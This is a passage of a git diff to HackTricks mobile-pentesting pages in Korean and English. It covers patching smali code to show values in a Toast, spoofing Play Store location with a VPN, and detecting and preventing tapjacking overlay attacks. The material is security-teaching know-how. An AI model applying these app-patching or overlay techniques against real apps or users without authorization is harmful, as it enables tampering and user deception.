v0,v1,v2...), 이러한 줄을 _.local \_와 변수의 선언 (_const v0, 0x1_) 사이에 넣으세요. +* 함수 내에서 선언된 변수를 사용할 경우 (declared v0,v1,v2...) 이 줄들을 _.local \_과 변수 선언(_const v0, 0x1_) 사이에 넣으세요. * 함수 코드 중간에 로깅 코드를 넣고 싶다면: -* 선언된 변수의 수에 2를 더하세요. 예: _.locals 10_에서 _.locals 12_로 변경하세요. -* 새로운 변수는 이미 선언된 변수의 다음 번호여야 합니다 (이 예시에서는 _v10_과 _v11_이어야 합니다. v0부터 시작한다는 것을 기억하세요). +* 선언된 변수의 수에 2를 추가하세요: 예: _.locals 10_에서 _.locals 12_로. +* 새로운 변수는 이미 선언된 변수의 다음 숫자여야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요). * 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요. -### 토스팅 +### Toasting -함수의 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 기억하세요. +함수 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 잊지 마세요. -이 코드는 **함수의 중간에 삽입**되도록 준비되어 있습니다 (**변수**의 **수**를 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 **String**으로 변환한 다음 그 값을 가지고 **토스트**를 만듭니다. +이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수**의 **숫자**는 필요에 따라 변경하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다. ```bash const/4 v10, 0x1 const/4 v11, 0x1 @@ -193,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index 7793dcd3c..92c6e6097 100644 --- a/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,57 +1,28 @@ -
- -htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배워보세요! - -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요. - -
- -특정 국가로 제한된 애플리케이션을 사용하고 싶지만 지역 제한으로 인해 Android 기기에 설치할 수 없는 경우, 앱이 사용 가능한 국가로 위치를 위장하여 액세스할 수 있습니다. 아래 단계에서는 이를 수행하는 방법을 설명합니다: +In situations where an application is restricted to certain countries, and you're unable to install it on your Android device due to regional limitations, spoofing your location to a country where the app is available can grant you access. The steps below detail how to do this: 1. **Hotspot Shield Free VPN Proxy 설치:** -- Google Play Store에서 Hotspot Shield Free VPN Proxy를 다운로드하고 설치합니다. +- Google Play 스토어에서 Hotspot Shield Free VPN Proxy를 다운로드하고 설치합니다. 2. **VPN 서버에 연결:** - Hotspot Shield 애플리케이션을 엽니다. -- 액세스하려는 애플리케이션이 사용 가능한 국가를 선택하여 VPN 서버에 연결합니다. +- 접근하고자 하는 애플리케이션이 사용 가능한 국가를 선택하여 VPN 서버에 연결합니다. -3. **Google Play Store 데이터 지우기:** +3. **Google Play 스토어 데이터 지우기:** - 기기의 **설정**으로 이동합니다. -- **앱** 또는 **애플리케이션 관리자**로 이동합니다(기기에 따라 다를 수 있음). -- 앱 목록에서 **Google Play Store**를 찾아 선택합니다. -- 실행 중인 앱 프로세스를 종료하기 위해 **강제 종료**를 탭합니다. -- 그런 다음 **데이터 지우기** 또는 **저장소 지우기**를 탭하여 Google Play Store 앱을 기본 상태로 재설정합니다(정확한 용어는 다를 수 있음). +- **앱** 또는 **애플리케이션 관리자**로 진행합니다 (기기에 따라 다를 수 있습니다). +- 앱 목록에서 **Google Play 스토어**를 찾아 선택합니다. +- 앱의 실행 중인 프로세스를 종료하기 위해 **강제 중지**를 탭합니다. +- 그런 다음 **데이터 지우기** 또는 **저장소 지우기**(정확한 문구는 다를 수 있음)를 탭하여 Google Play 스토어 앱을 기본 상태로 재설정합니다. -4. **제한된 애플리케이션에 액세스:** -- **Google Play Store**를 엽니다. -- 스토어는 이제 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다. -- 이제 실제 위치에서 이전에 사용할 수 없었던 애플리케이션을 검색하고 설치할 수 있어야 합니다. +4. **제한된 애플리케이션 접근:** +- **Google Play 스토어**를 엽니다. +- 이제 스토어는 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다. +- 이전에 실제 위치에서 사용할 수 없었던 애플리케이션을 검색하고 설치할 수 있어야 합니다. ### 중요 사항: -- 이 방법의 효과는 VPN 서비스의 신뢰성 및 앱이 부과한 특정 지역 제한에 따라 다를 수 있습니다. -- VPN을 정기적으로 사용하면 일부 앱과 서비스의 성능에 영향을 줄 수 있습니다. -- 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 앱 또는 서비스의 서비스 약관을 준수해야 함을 유의하세요. +- 이 방법의 효과는 VPN 서비스의 신뢰성과 앱에 의해 부과된 특정 지역 제한 등 여러 요인에 따라 달라질 수 있습니다. +- VPN을 정기적으로 사용하면 일부 앱 및 서비스의 성능에 영향을 미칠 수 있습니다. +- 사용하는 앱이나 서비스의 서비스 약관을 숙지하십시오. 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 약관을 위반할 수 있습니다. -## 참고 자료 +## References * [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/) - - -
- -htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배워보세요! - -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요. - -
diff --git a/mobile-pentesting/android-app-pentesting/tapjacking.md b/mobile-pentesting/android-app-pentesting/tapjacking.md index 5b796e02d..714bb2727 100644 --- a/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -1,46 +1,48 @@ -# 탭재킹 +# Tapjacking + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter에서 **@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요. -* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
{% embed url="https://websec.nl/" %} -## **기본 정보** -**탭재킹**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치하도록 하여** 시작되는 공격입니다. 피해 앱이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이도록 설계되어 상호 작용하도록 유도하면서 상호 작용을 피해 앱으로 전달합니다.\ -사용자가 실제로 피해 앱에서 작업을 수행하고 있다는 것을 알지 못하게 합니다. +## **Basic Information** -### 탐지 +**Tapjacking**는 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 애플리케이션을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 애플리케이션으로 전달됩니다.\ +결과적으로, 이는 **사용자가 실제로 희생 애플리케이션에서 작업을 수행하고 있다는 것을 알지 못하게 합니다**. -이 공격에 취약한 앱을 탐지하려면 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다(인텐트 필터가 있는 활동은 기본적으로 내보냅니다). 내보낸 활동을 찾은 후 **해당 활동이 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션도 해당 권한이 필요하기 때문**입니다. +### Detection -### 보호 +이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보내진 활동**을 검색해야 합니다 (intent-filter가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보내진 활동을 찾은 후, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**. -#### 안드로이드 12 (API 31,32) 이상 +### Protection -[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** 안드로이드 12(API 31 및 30) 이상에서는 안드로이드가 탭재킹 공격을 자동으로 방지합니다. 따라서 취약한 애플리케이션이라도 **악용할 수 없습니다**. +#### Android 12 (API 31,32) 및 그 이상 + +[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12 (API 31 & 30) 이상에서는 tapjacking 공격이 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**. #### `filterTouchesWhenObscured` -**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되어 있으면 다른 가시적 창에 의해 뷰의 창이 가려질 때 터치를 받지 않습니다. +**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`는 다른 가시적인 창에 의해 창이 가려질 때 터치를 받지 않습니다. #### **`setFilterTouchesWhenObscured`** -Android 버전이 낮은 경우 이 취약점을 방지하기 위해 **`setFilterTouchesWhenObscured`** 속성을 **`true`**로 설정할 수 있습니다.\ -예를 들어, 버튼이 가려지면 자동으로 **비활성화**될 수 있습니다. +**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면, 안드로이드 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\ +예를 들어, **`true`**로 설정하면 버튼이 가려질 경우 자동으로 **비활성화**될 수 있습니다: ```xml